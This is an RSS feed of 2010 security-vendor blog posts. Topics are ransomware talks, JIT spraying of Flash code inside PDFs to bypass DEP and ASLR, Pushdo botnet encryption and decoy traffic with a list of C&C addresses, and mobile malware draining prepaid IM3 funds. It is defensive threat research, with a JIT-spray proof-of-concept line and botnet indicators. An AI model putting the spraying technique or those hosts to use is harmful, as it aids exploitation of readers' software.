Ransomware comes in many shapes and forms, with the most recent variation using malware masquerading as antivirus protection. The goal of an attacker is simple: cripple, lock down and encrypt files/applications, then offer a service to unlock the data. Ransomware has already begun to leave a destructive trail in 2010. Watch as Derek Manky, cyber security and threat researcher, discusses and demonstrates these threats live in the theater.</p>
<p style="padding-left: 30px;"><strong>The Art of Industrial Spying</strong><br />
Every organization and individual has more and more confidential or regulated data to manage, with growing amounts of data being moved to digital storage and transferred digitally. This has wedged the door open to data theft and/or manipulation for financial gain, while bypassing physical security measures. Steve Fossen, senior manager of security research and development, will discuss and demonstrate how enterprises can protect their data from this kind of intellectual property theft so that it doesn’t end up in the wrong hands – or on the open market.</p>
<p>Presentations will take place every 30 minutes during show floor hours. Please stop by the Fortinet booth (#2225) for the schedule and for information on these presentations.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/rsa-conference-ransomware-and-industrial-spying/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JIT Spraying in PDF</title>
		<link>http://blog.fortinet.com/jit-spraying-in-pdf/</link>
		<comments>http://blog.fortinet.com/jit-spraying-in-pdf/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 17:55:53 +0000</pubDate>
		<dc:creator>Hfli</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[adobe reader]]></category>
		<category><![CDATA[ASLR]]></category>
		<category><![CDATA[DEP]]></category>
		<category><![CDATA[Dionysus Blazakis]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[jit spraying]]></category>
		<category><![CDATA[pdf]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=967</guid>
		<description><![CDATA[You may have taken note of that recently, security researcher Dionysus Blazakis presented a significant technology to bypass thshe DEP (Data Execution Prevention) and ASLR (Address space layout randomization) at BlackHat DC 2010, which is called &#8220;JIT Spraying&#8221; (The white paper can be found at here).
In fact, JIT Spraying is a general idea, to generate [...]]]></description>
			<content:encoded><![CDATA[<p align="left">You may have taken note of that recently, security researcher Dionysus Blazakis presented a significant technology to bypass thshe <a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention">DEP</a> (Data Execution Prevention) and <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> (Address space layout randomization) at BlackHat DC 2010, which is called &#8220;JIT Spraying&#8221; (The white paper can be found at <a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf">here</a>).</p>
<p align="left">In fact, JIT Spraying is a general idea, to generate executable code in accordance with the attacker’s wish in the memory. In that presentation, the researcher shows how to implement this technology in Adobe Flash ActionScript Virtual Machine as an example.</p>
<p align="left">As shown in my other post: <a href="http://blog.fortinet.com/a-look-back-at-pdf-vulnerabilities/">A Look Back at PDF Vulnerabilities</a>, Adobe Reader could play Flash file independently (without Adobe Flash Player installed in the system). Following quick test will show that the JIT Spraying therefore works here as well.</p>
<p align="left">1. We use the same ActionScript code showed in the paper.</p>
<p style="text-align: left"><em>var y = (0&#215;3c54d0d9 ^ 0&#215;3c909058 ^ 0&#215;3c59f46a ^ 0&#215;3c90c801 ^ 0&#215;3c9030d9 ^ 0&#215;3c53535b);</em></p>
<p align="left">2. We embed the .swf file into PDF. Note that the red-marked option parameter makes playing the .swf file automatically.</p>
<p align="left"><a href="http://blog.fortinet.com/wp-content/uploads/2010/02/pic1.PNG"><img class="alignnone size-full wp-image-968" style="margin: 6px" src="http://blog.fortinet.com/wp-content/uploads/2010/02/pic1.PNG" alt="pic1" width="468" height="468" /></a></p>
<p align="left">3. Now let&#8217;s see have a look at the right places (highlighted in red below) in the memory space of Adobe Reader process once it loaded our crafted PDF:</p>
<p align="left"><a href="http://blog.fortinet.com/wp-content/uploads/2010/02/pic2.PNG"><img class="alignnone size-full wp-image-969" style="margin: 6px" src="http://blog.fortinet.com/wp-content/uploads/2010/02/pic2.PNG" alt="pic2" width="442" height="344" /></a></p>
<p align="left">The ActionScript code we used in our embedded flash file clearly appears, in the form of native machine code (see the series of XOR operations above). Meaning, it was compiled by the JIT compiler.</p>
<p align="left"><em>[As a side note, the responsible file for playing Flash is named "authplay.dll", in fact it is a standard Shockwave Flash application.]</em></p>
<p align="left">Therefore, we know that PDF has the same situation as in the Flash: code can be “sprayed” via the JIT compiler.</p>
<p align="left">As we know, DEP is enabled from Adobe Reader 9.2.0, which indeed prevented a lot of PDF based attacking, such as the popular exploit of the vulnerability <a href="http://blog.fortinet.com/a-quick-look-within-the-recent-pdf-zero-day/">CVE-2009-4324</a> in the wild does not work on the latest Adobe Reader.</p>
<p align="left">Unfortunately, now the situation changes, the DEP on Adobe Reader became much easier to be attacked due to the Flash playing feature in PDF. And it is expected that the working JIT Spraying exploit will appear in the wild in the near future as the researchers (both Blackhats and Whitehats) are paying more attentions on this area, so PDF zero-days will get a brand new way to keep their lives. It is important information for our PDF zero-day defense as well.</p>
<p align="left"><strong>Guillaume Lovet contributed to this post</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/jit-spraying-in-pdf/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Pushdo Revolutions: Communication Encryption and Decoy Traffic</title>
		<link>http://blog.fortinet.com/pushdo-revolutions-communication-encryption-and-decoy-traffic/</link>
		<comments>http://blog.fortinet.com/pushdo-revolutions-communication-encryption-and-decoy-traffic/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 19:37:07 +0000</pubDate>
		<dc:creator>xyang</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[pushdo]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=951</guid>
		<description><![CDATA[It&#8217;s been two months since we revealed the 3rd Generation Pushdo/Cutwail/Webwail Botnet communication protocol and encryption. Recently, while researching a new bot (GoolBot), we found another Pushdo-like malware spreading with its help. After reversing, it became clear that it was a brand new evolution of the infamous multi-malware loader, for two essential reasons:

While it used [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been two months since we <a id="i-l1" title="revealed the 3rd Generation Pushdo/Cutwail" href="http://www.fortiguard.com/analysis/pushdoanalysis.html">revealed the 3rd Generation Pushdo/Cutwail</a>/Webwail Botnet communication protocol and encryption. Recently, while researching a new bot (GoolBot), we found another Pushdo-like malware spreading with its help. After reversing, it became clear that it was a brand new evolution of the infamous multi-malware loader, for two essential reasons:</p>
<ul>
<li>While it used the 2nd generation Pushdo communication protocol (with minor varations), it encrypted its communications and routed them through the SSL port (443); while this encryption looked like SSL at first sight (which would be consistent with the choice of the port), it is actually NOT.</li>
</ul>
<ul>
<li>There is a routine which generates some actual SSL traffic to a list of 339 <a href="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_126f427t7fp_b.jpg">known web sites</a><span style="color: #ff0000;"> </span>(legitimate, for the most part), obviously to drawn bot-to-C&amp;C communication in a sea of decoys.</li>
</ul>
<p>This latter point explains why so many webmasters are <a id="sd5d" title="report that SSL traffic" href="http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20100129">reporting that SSL traffic</a> (coming from different IPs) is much higher than normal these days. The good news for them is that the additional traffic is not malicious (application-wise, that is), and the bad news is that an increase of actual viewers is not the cause of it: it&#8217;s just some dummy data generated by calls to the QueryPerformanceCounter API in the latest Pushdo evolution.</p>
<p>Memory snapshots (from a pushdo infected machine) below illustrate the former point about encryption.</p>
<p>Before encryption:</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_118hmct3mcj_b.jpg"><img class="alignnone size-full wp-image-954" title="ddnknshk_118hmct3mcj_b" src="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_118hmct3mcj_b.jpg" alt="ddnknshk_118hmct3mcj_b" /></a></p>
<p>After encryption (same memory space), just before sending:</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_119d52p4qg2_b.jpg"><img class="alignnone size-full wp-image-955" title="ddnknshk_119d52p4qg2_b" src="http://blog.fortinet.com/wp-content/uploads/2010/02/ddnknshk_119d52p4qg2_b.jpg" alt="ddnknshk_119d52p4qg2_b" /></a><br />
The response from the C&amp;C server, encrypted alike, contains the rootkit and spam engine modules (classic Pushdo process).</p>
<p>As an interesting side note, as we will see below, here is a list of those C&amp;Cs:</p>
<div id="xqq9" style="text-align: left;">75.126.159.19:443<br />
75.126.159.19:443<br />
94.75.233.173:443<br />
94.75.233.174:443<br />
94.75.233.171<br />
94.75.233.172<br />
89.149.254.213<br />
89.149.244.141<br />
89.149.244.23<br />
aaa.oduvanchic.com<br />
aaa.news2days.ru<br />
antisgetout.cn<br />
fire***eye.com<br />
****briankrebs.com</p>
<p>This time, the author(s) was/were kind enough to leave the PDB filepath<br />
in the binary:<br />
&#8220;e:\Source\sloader_conc12np1\sloader_conc1\svcloader\Release\svcloader.pdb&#8221;</p>
<p>Historically, it has been common for malware authors to send messages hidden within their binaries &#8211; often as strings. There are, however, other ways. The last listed domain above, presumably registered by the author(s) of this Pushdo variant used for C&amp;C, is an obvious dig at Brian Krebs, author of <a id="sxjm" title="Krebs on Security" href="http://www.krebsonsecurity.com/">Krebs on Security</a> (previously The Washington Post). Indeed, <a id="cevj" title="this is not the first time" href="http://www.krebsonsecurity.com/2010/01/tough-talk-from-those-who-hide/">this is not the first time</a>. We had a look at the <a id="ewa9" title="variant referenced" href="http://www.virustotal.com/analisis/7f4e9677513fd98d8e93cd5baa6e4dd96188010e58191f5cd32a8a726f7cdb01-1263611340">variant referenced</a> in this post (Harebot, detected by Fortinet as W32/Agent.LKU!tr) that was circulating around January 17th, 2010. In fact, this variant is a dropper that drops the same updated 2nd generation Pushdo. These are the main points we observed with this variant seen around January 17th:</p>
<ul>
<li>No SSL traffic is sent: The 2nd generation traffic is still encrypted, but is transmitted on port 80</li>
<li>The project path is slightly different (see above for current path): &#8221; e:\Source\sloader_conc1\svcloader\Release\svcloader.pdb&#8221;</li>
<li>The same C&amp;C domains are used</li>
</ul>
<p>Therefore, we can see the development path the authors are taking with this new variation. In January, they had updated to the new encrypted protocol but did not have the SSL traffic module included. Now, in February, we see the SSL module emerge. Could it shed some light on the question &#8220;are all Pushdo evolutions from the same author(s)&#8221;?</p>
<p>-Kyle</p>
<p><strong>Guillaume Lovet and Derek Manky contributed to this post.</strong></div>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/pushdo-revolutions-communication-encryption-and-decoy-traffic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malicious Transfers of IM3 funds: The Return</title>
		<link>http://blog.fortinet.com/malicious-transfers-of-im3-funds-the-return/</link>
		<comments>http://blog.fortinet.com/malicious-transfers-of-im3-funds-the-return/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 18:10:46 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[im3]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[pre-paid phone cards]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=909</guid>
		<description><![CDATA[It had been a while since we&#8217;d last seen a malware transferring credits to pre-paid phone cards. Our last encounter dated back to SymbOS/Flocker!tr.python early January 2009. It is happening again, with Java/GameSat.A!tr, a Java ME midlet which is currently in the wild.
Indosat, an Indonesian telecom operator, offers IM3 (Indosat Multimedia 3) customers the ability [...]]]></description>
			<content:encoded><![CDATA[<p>It had been a while since we&#8217;d last seen a malware transferring credits to pre-paid phone cards. Our last encounter dated back to <a id="t:be" title="SymbOS/Flocker!tr.python" href="http://www.fortiguard.com/encyclopedia/virus/symbos_flocker.ab%21tr.python.html">SymbOS/Flocker!tr.python</a> early January 2009. It is happening again, with <a id="jq0c" title="Java/GameSat.A!tr" href="http://www.fortiguardcenter.com/ve?vid=1458005">Java/GameSat.A!tr</a>, a Java ME midlet which is currently in the wild.</p>
<p>Indosat, an Indonesian telecom operator, offers IM3 (Indosat Multimedia 3) customers the ability to transfer (small) funds between two accounts. This is known as &#8216;pulse transfer&#8217; or &#8216;M3-Transfer&#8217; and it works by &#8230; SMS, without PIN nor registration ! The money is transferred from one IM3 account to another IM3 account (a transfer fee is charged to the sender).</p>
<p>This sounds quite handy, but&#8230; absolutely anything but secure, so it comes as no surprise cyber-delinquents make use of it.</p>
<p>In <a id="tgas" title="Flocker" href="http://www.fortiguard.com/encyclopedia/virus/symbos_flocker.ab%21tr.python.html">Flocker</a>, from 5000 to 10000 Indonesian rupees (0.45 &#8211; 0.90 USD) were transferred to IM3 accounts controlled by the malware author.</p>
<p>Now, <a id="amna" title="Java/GameSat.A!tr" href="http://www.fortiguardcenter.com/ve?vid=1458005">Java/GameSat.A!tr</a> typically gets onto your mobile phone as a &#8216;modification to Opera Mini&#8217;. Of course, it does not modify Opera Mini at all. Instead, it uses IM3 fund transfer to access non-free on-line divination, chat or dating services. The end-user gets charged up to 20000 Rp (1.8 USD) &#8211; not mentioning the transfer fee &#8211; each time he/she opens the application or tries to access the non-free services.</p>
<div id="attachment_911" class="wp-caption alignnone" style="width: 250px"><a href="http://blog.fortinet.com/wp-content/uploads/2010/01/operamini.jpg"><img class="size-full wp-image-911 " title="operamini" src="http://blog.fortinet.com/wp-content/uploads/2010/01/operamini.jpg" alt="Figure 1. The malware advertises as a modification to Opera Mini" width="240" height="320" /></a> <p class="wp-caption-text">Figure 1. The malware advertises as a modification to Opera Mini</p></div>
<div id="attachment_912" class="wp-caption alignnone" style="width: 250px"><a href="http://blog.fortinet.com/wp-content/uploads/2010/01/malwaresms.jpg"><img class="size-full wp-image-912" title="malwaresms" src="http://blog.fortinet.com/wp-content/uploads/2010/01/malwaresms.jpg" alt="malwaresms" width="240" height="320" /></a><p class="wp-caption-text">Figure 2. Malware tries to send an SMS</p></div>
<p>I could make up my own divination service on that matter, and tell end-users they are probably about to lose roughly two dollars, get plenty of SMS spam and absolutely no advice or dates whatsoever.</p>
<p>&#8211; The Crypto Girl</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/malicious-transfers-of-im3-funds-the-return/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
